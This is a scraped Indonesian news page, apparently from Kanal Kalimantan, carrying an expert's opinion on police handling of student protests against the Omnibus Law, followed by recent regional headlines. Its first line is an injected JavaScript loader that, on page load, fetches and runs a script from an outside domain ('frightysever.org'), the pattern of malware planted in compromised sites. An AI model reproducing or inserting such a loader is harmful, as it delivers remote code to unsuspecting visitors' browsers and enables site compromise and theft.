(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: OPINI

Tindakan Represif Polisi, Ahli Hukum: Upaya Akhir Meredam Perbuatan Melawan Hukum atau Anarkis


Menyikapi soal unjuk rasa mahasiswa menolak Undang-Undang Omnibus Law Cipta Kerja belakangan ini, membuat polisi melakukan pemanggilan dan mengamankan beberapa mahasiswa untuk dimintai keterangan.

Hal tersebut diduga dilakukan terkait adanya dugaan pelanggaran yang dilakukan pada saat terjadi unjuk rasa. Berbagai macam komentar bermunculan menanggapi tindakan yang dilakukan oleh pihak kepolisian.

Berikut adalah pendapat Daddy Fahmanadie SH LLM, seorang ahli hukum pidana dari Universitas Lambung Mangkurat (ULM) Banjarmasin :

Dalam era demokrasi unjuk rasa dibolehkan sebagai bagian dari bentuk menyampaikan pendapat serta sah di mata hukum juga Undang-Undang berkaitan terhadap pelanggaran pada unjuk rasa. Menurut pakar hukum pidana Fakultas Hukum Universitas Lambung Mangkurat (ULM) Banjarmasin, Daddy Fahmanadie SH LLM, rentan terjadi apalagi jika menjurus pada rusuh, nah tentu kehadiran aparat pada posisi berhadapan dengan unjuk rasa adalah sebagai pihak yang di tengah. Serta mengamankan situasi jadi posisi keduanya sama-sama sesuai aturan hukum, namun dalam proses demo dan pengamanan tentu semua harus dilakukan dalam koridor yang sesuai, tidak dalam kontek membuat rusuh atau tindakan yang merugikan masyarakat, bahkan fasilitas umum sebaliknya. Soal tindakan kepolisian yang preventif dan dibenarkan juga represif, sebagai upaya terakhir untuk meredam situasi unjuk rasa jika terjadi kondisi atau keadaan yang tentu mengarah pada melawan hukum atau anarkis.

Polri sendiri menganut aliran positivis, dalam arti normatif pasal 1 KUHP tentu kacamatanya perbuatan adalah sesuai dengan Undang-Undang itu sendiri, tetapi di sisi lain dalam penanganan unjuk rasa aspek normatif itu harus diimbangi dengan nuansa progresif dan asas proporsional dalam penanggulangan unjuk rasa.

Jadi polisi juga harus mengedepankan preventif dalam penanggulangan unjuk rasa, meskipun pasti akan terdapat dilematis dalam praktek sebab suasana unjuk rasa sangat berpengaruh, tetapi justru hal teknis tersebut yang harus semakin menjadi parameter untuk penanganan unjuk rasa.

Ini tentu sah-sah saja sebagai bentuk opini masyarakat, akan tetapi perihal apakah ada perbuatan yang melanggar hukum atau tidak tentu akan berbeda sudut pandang dan penilaian. (daddy fahmanadie)


Al Ghifari

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

10 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

10 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

10 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

13 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

19 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.